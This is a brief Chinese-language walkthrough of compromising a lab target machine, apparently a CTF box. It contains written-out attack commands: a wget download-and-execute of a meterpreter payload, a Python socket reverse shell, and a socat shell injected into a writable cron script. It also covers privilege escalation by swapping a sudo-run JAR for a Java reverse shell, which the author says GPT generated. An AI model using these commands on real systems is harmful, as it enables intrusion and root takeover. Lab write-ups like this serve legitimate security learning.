靶机, 启动
192.168.10.16
端口扫描
web 服务
目录扫描
在主页的下面发现了一个上传点, 直接上传反弹 shell
使用 nc 失败, 换成了 webshell
然后还是用了 meterpreter
wget http://192.168.10.11:8000/shell.elf -O /tmp/shell.elf&&chmod 777 /tmp/shell.elf
www-data ,进一步收集信息
/home/alabaster/nice_list. txt
这有个 python 代码,. 在 linpeas. sh 枚举之后发现是定时任务, 并且是可写的
echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.10.11",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")' > nice_or_naughty.py
echo 'import subprocess; subprocess.call(["/tmp/newshell.elf"])' > nice_or_naughty.py
又是这样子不稳定的 shell
上传一个 socat 二进制文件上去算了
echo 'import subprocess; subprocess.call(["/tmp/socat", "TCP:192.168.10.11:4445", "EXEC:/bin/bash,pty,stderr,setsid,sigint,sane"])' > nice_or_naughty.py
还是不行
User-alabaster
巨魔大佬 nb
又学到一个工具 pwncat
提权_sudo 执行 jar
利用 sudo 涉及的文件可写, 用 gpt 生成了个 java 的反弹 shell
## 编译成java字节码
javac ReverseShell.java
## JAR文件需要一个清单文件(Manifest),这个文件指定了JAR的主类(包含main方法的类)。主类是当JAR文件被执行时首先加载的类。
echo 'Main-Class: ReverseShell' > Manifest.txt
## 使用jar命令和上面创建的清单文件将编译后的.class文件打包成一个JAR文件。命令格式如下:
jar cfm ReverseShell.jar Manifest.txt ReverseShell.class
cd /tmp
wget http://192.168.10.11:8000/ReverseShell.jar
cp ReverseShell.jar /home/alabaster/PublishList/PublishList.jar
sudo -u root /usr/bin/java -jar /home/alabaster/PublishList/PublishList.jar